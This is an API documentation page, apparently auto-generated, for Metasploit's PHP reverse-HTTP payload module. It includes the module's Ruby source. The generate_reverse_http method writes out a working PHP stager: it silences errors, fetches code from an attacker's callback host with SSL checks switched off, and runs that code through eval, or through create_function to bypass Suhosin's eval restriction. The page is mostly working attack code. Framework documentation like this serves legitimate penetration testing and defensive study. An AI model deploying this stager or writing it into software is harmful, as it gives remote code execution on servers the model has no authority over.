Module: Msf::Payload::Php::ReverseHttp
- Includes:
- UUID::Options
- Defined in:
- lib/msf/core/payload/php/reverse_http.rb
Constant Summary
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITPH, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Method Summary collapse
-
#generate(opts = {}) ⇒ Object
Generate the first stage.
-
#generate_callback_uri(opts = {}) ⇒ Object
Return the longest URI that fits into our available space.
-
#generate_callback_url(opts) ⇒ Object
Return the callback URL.
- #generate_reverse_http(opts = {}) ⇒ Object
- #initialize(info = {}) ⇒ Object
-
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested.
- #transport_config(opts = {}) ⇒ Object
Methods included from UUID::Options
#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_cookie_resource, #process_query_string_resource, #process_uri_resource, #process_uuid_string, #uri_checksum_lookup
Instance Method Details
#generate(opts = {}) ⇒ Object
Generate the first stage
24 25 26 27 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 24 def generate(opts = {}) opts[:scheme] = 'http' if opts[:scheme].nil? generate_reverse_http(opts) end |
#generate_callback_uri(opts = {}) ⇒ Object
Return the longest URI that fits into our available space
49 50 51 52 53 54 55 56 57 58 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 49 def generate_callback_uri(opts = {}) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) if self.available_space.nil? || dynamic_size? || required_space > self.available_space uri_req_len = 30 end uuid = generate_payload_uuid(arch: ARCH_PHP, platform: 'php') generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_php, uri_req_len, uuid: uuid) end |
#generate_callback_url(opts) ⇒ Object
Return the callback URL
32 33 34 35 36 37 38 39 40 41 42 43 44 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 32 def generate_callback_url(opts) if Rex::Socket.is_ipv6?(opts[:host]) target_url = "#{opts[:scheme]}://[#{opts[:host]}]" else target_url = "#{opts[:scheme]}://#{opts[:host]}" end target_url << ':' target_url << opts[:port].to_s target_url << luri target_url << generate_callback_uri(opts) target_url end |
#generate_reverse_http(opts = {}) ⇒ Object
60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 60 def generate_reverse_http(opts = {}) ds = opts[:datastore] || datastore opts.merge!({ host: ds['LHOST'] || '127.127.127.127', port: ds['LPORT'], }) callback_url = generate_callback_url(opts) scheme = opts[:scheme] php = %Q^/*<?php /**/ error_reporting(0); $url = '#{callback_url}'; $opts = array('#{scheme}' => array( 'method' => 'GET', 'timeout' => 30, 'header' => "User-Agent: #{ds['HttpUserAgent'] || 'Mozilla/5.0'}\\r\\n", 'ignore_errors' => true, )); ^ if scheme == 'https' php << %Q^$opts['ssl'] = array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true, ); ^ end proxy_host = ds['HttpProxyHost'] if proxy_host.to_s != '' proxy_port = ds['HttpProxyPort'] || 8080 php << %Q^$opts['#{scheme}']['proxy'] = 'tcp://#{proxy_host}:#{proxy_port}'; $opts['#{scheme}']['request_fulluri'] = true; ^ end php << %Q^$ctx = stream_context_create($opts); $b = file_get_contents($url, false, $ctx); if ($b === false) { die(); } if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass = create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();^ php.gsub!(/#.*$/, '') Rex::Text.compress(php) end |
#initialize(info = {}) ⇒ Object
9 10 11 12 13 14 15 16 17 18 19 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 9 def initialize(info = {}) super(info) ([ OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']) ]) ( Msf::Opt:: + Msf::Opt:: ) ('HttpProxyType') end |
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested
123 124 125 126 127 128 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 123 def required_space space = cached_size space += 100 space += 256 space end |
#transport_config(opts = {}) ⇒ Object
116 117 118 |
# File 'lib/msf/core/payload/php/reverse_http.rb', line 116 def transport_config(opts = {}) transport_config_reverse_http(opts) end |